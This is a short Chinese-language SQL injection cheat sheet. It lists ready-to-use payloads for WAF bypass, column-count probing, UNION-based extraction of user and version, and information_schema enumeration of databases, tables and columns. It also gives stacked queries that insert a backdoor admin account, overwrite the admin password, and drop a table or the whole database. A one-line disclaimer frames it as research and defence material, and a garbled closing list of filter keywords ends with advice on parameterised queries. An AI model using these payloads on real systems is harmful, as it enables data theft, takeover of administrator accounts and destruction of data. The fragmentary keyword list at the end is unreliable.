本文記錄 SQL 注入實戰中常見的 WAF 繞過技巧、列數探測變體、Union 注入進階、Information Schema 跨庫枚舉、DML 竄改利用,僅供安全研究與防禦驗證參考。
當 ORDER BY 被攔截(403 Forbidden),嘗試 GROUP BY:
-- 原payload被攔截
id=1 ORDER BY 100--
-- 嘗試GROUP BY(不在規則庫中)
id=1 GROUP BY 100-- ✅ 繞過
更隱蔽的列數探測:
(SELECT * FROM admins) = (SELECT 1)
-- 報錯:Operand should contain 5 column(s) → 列數=5
ORDER BY 1000000 不報錯 ≠ 表有 100 萬列,往往是**注入點未生效**(如缺少閉合引號)。
-- 未閉合引號,WHERE 子句語法錯誤,注入失敗
id=9 ORDER BY 1000000--
-- 補上引號並註釋尾部
id=9' ORDER BY 1000000--+ ✅ 正常報錯,可二分查找列數
UNION SELECT 1,2,3,4,5--+ 確認回顯位置-- 獲取當前庫用戶
id=-9' UNION SELECT 1,2,USER(),4,5--+
-- 獲取版本
id=-9' UNION SELECT 1,2,VERSION(),4,5--+
-- 1. 所有庫名
id=9 UNION SELECT 1,2,GROUP_CONCAT(schema_name),4,5 FROM information_schema.schemata--
-- 2. 指定庫的所有表(庫名需 HEX 編碼)
id=9 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=0x62697a5f6462--
-- 3. 指定表的所有列
id=9 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_schema=0x62697a5f6462 AND table_name=0x61646d696e73--
-- 插入後門管理員
id=1; INSERT INTO admin (username,password) VALUES ('hacker','md5pass')--+
-- 修改管理員密碼
id=1; UPDATE admin SET password='md5new' WHERE username='admin'--+
-- 刪除核心表(毀滅性)
id=1; DROP TABLE news--+
-- 刪除整庫(極端)
id=1; DROP DATABASE biz--+
UNION、SELECT、INSERT、UPDATE、DELETE、DROP、Information_schema、HEX、--、#、;% 等關鍵字組合DROP、CREATE、GRANT、FILE、SHUTDOWN+、.、||、% 格式化)理解攻擊鏈條,才能構建有效防禦。參數化查詢是唯一根治方案;WAF、最小權限、錯誤隱藏是纏深層補充。